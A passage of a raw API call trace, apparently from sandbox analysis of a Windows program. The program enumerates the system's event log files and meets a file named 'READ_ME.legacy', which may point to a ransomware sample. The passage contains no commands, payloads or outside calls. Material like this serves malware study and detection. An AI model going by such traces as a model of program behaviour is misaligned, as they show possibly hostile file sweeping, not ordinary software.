ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1 [0082.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581640 | out: hHeap=0x520000) returned 1 [0082.630] GetLastError () returned 0x12 [0082.630] SetLastError (dwErrCode=0x12) [0082.630] GetLastError () returned 0x12 [0082.630] SetLastError (dwErrCode=0x12) [0082.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581860 | out: hHeap=0x520000) returned 1 [0082.630] GetLastError () returned 0x12 [0082.630] SetLastError (dwErrCode=0x12) [0082.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583308 | out: hHeap=0x520000) returned 1 [0082.630] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1 [0082.630] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e940 | out: hHeap=0x520000) returned 1 [0082.631] GetLastError () returned 0x12 [0082.631] SetLastError (dwErrCode=0x12) [0082.631] GetLastError () returned 0x12 [0082.631] SetLastError (dwErrCode=0x12) [0082.631] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.631] GetLastError () returned 0x12 [0082.631] SetLastError (dwErrCode=0x12) [0082.631] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0082.631] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1 [0082.631] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581b90 | out: hHeap=0x520000) returned 1 [0082.631] GetLastError () returned 0x12 [0082.631] SetLastError (dwErrCode=0x12) [0082.631] GetLastError () returned 0x12 [0082.631] SetLastError (dwErrCode=0x12) [0082.631] SetLastError (dwErrCode=0x12) [0082.631] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1 [0082.631] SetLastError (dwErrCode=0x12) [0082.631] GetLastError () returned 0x12 [0082.631] SetLastError (dwErrCode=0x12) [0082.631] SetLastError (dwErrCode=0x12) [0082.632] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1 [0082.632] SetLastError (dwErrCode=0x12) [0082.632] GetLastError () returned 0x12 [0082.632] SetLastError (dwErrCode=0x12) [0082.632] SetLastError (dwErrCode=0x12) [0082.632] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1 [0082.632] SetLastError (dwErrCode=0x12) [0082.632] GetLastError () returned 0x12 [0082.632] SetLastError (dwErrCode=0x12) [0082.632] SetLastError (dwErrCode=0x12) [0082.632] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1 [0082.632] SetLastError (dwErrCode=0x12) [0082.632] GetLastError () returned 0x12 [0082.632] SetLastError (dwErrCode=0x12) [0082.632] SetLastError (dwErrCode=0x12) [0082.632] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1 [0082.632] SetLastError (dwErrCode=0x12) [0082.632] GetLastError () returned 0x12 [0082.632] SetLastError (dwErrCode=0x12) [0082.632] SetLastError (dwErrCode=0x12) [0082.632] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1 [0082.632] SetLastError (dwErrCode=0x12) [0082.632] GetLastError () returned 0x12 [0082.633] SetLastError (dwErrCode=0x12) [0082.633] SetLastError (dwErrCode=0x12) [0082.633] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1 [0082.633] SetLastError (dwErrCode=0x12) [0082.633] GetLastError () returned 0x12 [0082.633] SetLastError (dwErrCode=0x12) [0082.633] SetLastError (dwErrCode=0x12) [0082.633] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1 [0082.634] SetLastError (dwErrCode=0x12) [0082.634] GetLastError () returned 0x12 [0082.634] SetLastError (dwErrCode=0x12) [0082.634] SetLastError (dwErrCode=0x12) [0082.634] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1 [0082.634] SetLastError (dwErrCode=0x12) [0082.634] GetLastError () returned 0x12 [0082.634] SetLastError (dwErrCode=0x12) [0082.634] SetLastError (dwErrCode=0x12) [0082.634] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1 [0082.634] SetLastError (dwErrCode=0x12) [0082.634] GetLastError () returned 0x12 [0082.634] SetLastError (dwErrCode=0x12) [0082.634] SetLastError (dwErrCode=0x12) [0082.634] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1 [0082.634] SetLastError (dwErrCode=0x12) [0082.634] GetLastError () returned 0x12 [0082.634] SetLastError (dwErrCode=0x12) [0082.634] SetLastError (dwErrCode=0x12) [0082.634] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1 [0082.634] SetLastError (dwErrCode=0x12) [0082.634] GetLastError () returned 0x12 [0082.634] SetLastError (dwErrCode=0x12) [0082.635] SetLastError (dwErrCode=0x12) [0082.635] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1 [0082.635] SetLastError (dwErrCode=0x12) [0082.635] GetLastError () returned 0x12 [0082.635] SetLastError (dwErrCode=0x12) [0082.635] SetLastError (dwErrCode=0x12) [0082.635] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1 [0082.635] SetLastError (dwErrCode=0x12) [0082.635] GetLastError () returned 0x12 [0082.635] SetLastError (dwErrCode=0x12) [0082.635] SetLastError (dwErrCode=0x12) [0082.635] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1 [0082.635] SetLastError (dwErrCode=0x12) [0082.635] GetLastError () returned 0x12 [0082.635] SetLastError (dwErrCode=0x12) [0082.635] SetLastError (dwErrCode=0x12) [0082.635] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1 [0082.635] SetLastError (dwErrCode=0x12) [0082.635] GetLastError () returned 0x12 [0082.635] SetLastError (dwErrCode=0x12) [0082.635] SetLastError (dwErrCode=0x12) [0082.635] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1 [0082.636] SetLastError (dwErrCode=0x12) [0082.636] GetLastError () returned 0x12 [0082.636] SetLastError (dwErrCode=0x12) [0082.636] SetLastError (dwErrCode=0x12) [0082.636] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1 [0082.636] SetLastError (dwErrCode=0x12) [0082.636] GetLastError () returned 0x12 [0082.636] SetLastError (dwErrCode=0x12) [0082.636] SetLastError (dwErrCode=0x12) [0082.636] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1 [0082.636] SetLastError (dwErrCode=0x12) [0082.636] GetLastError () returned 0x12 [0082.636] SetLastError (dwErrCode=0x12) [0082.636] SetLastError (dwErrCode=0x12) [0082.636] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1 [0082.636] SetLastError (dwErrCode=0x12) [0082.636] GetLastError () returned 0x12 [0082.636] SetLastError (dwErrCode=0x12) [0082.636] SetLastError (dwErrCode=0x12) [0082.636] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1 [0082.636] SetLastError (dwErrCode=0x12) [0082.636] GetLastError () returned 0x12 [0082.636] SetLastError (dwErrCode=0x12) [0082.637] SetLastError (dwErrCode=0x12) [0082.637] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1 [0082.637] SetLastError (dwErrCode=0x12) [0082.637] GetLastError () returned 0x12 [0082.637] SetLastError (dwErrCode=0x12) [0082.637] SetLastError (dwErrCode=0x12) [0082.637] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1 [0082.637] SetLastError (dwErrCode=0x12) [0082.637] GetLastError () returned 0x12 [0082.637] SetLastError (dwErrCode=0x12) [0082.637] SetLastError (dwErrCode=0x12) [0082.637] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1 [0082.637] SetLastError (dwErrCode=0x12) [0082.637] GetLastError () returned 0x12 [0082.637] SetLastError (dwErrCode=0x12) [0082.637] SetLastError (dwErrCode=0x12) [0082.637] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1 [0082.637] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1 [0082.637] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1 [0082.638] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1 [0082.638] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1 [0082.638] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1 [0082.638] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb843b407, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb843b407, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb843b407, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0082.638] FindNextFileW (in: hFindFile=0x552b60, 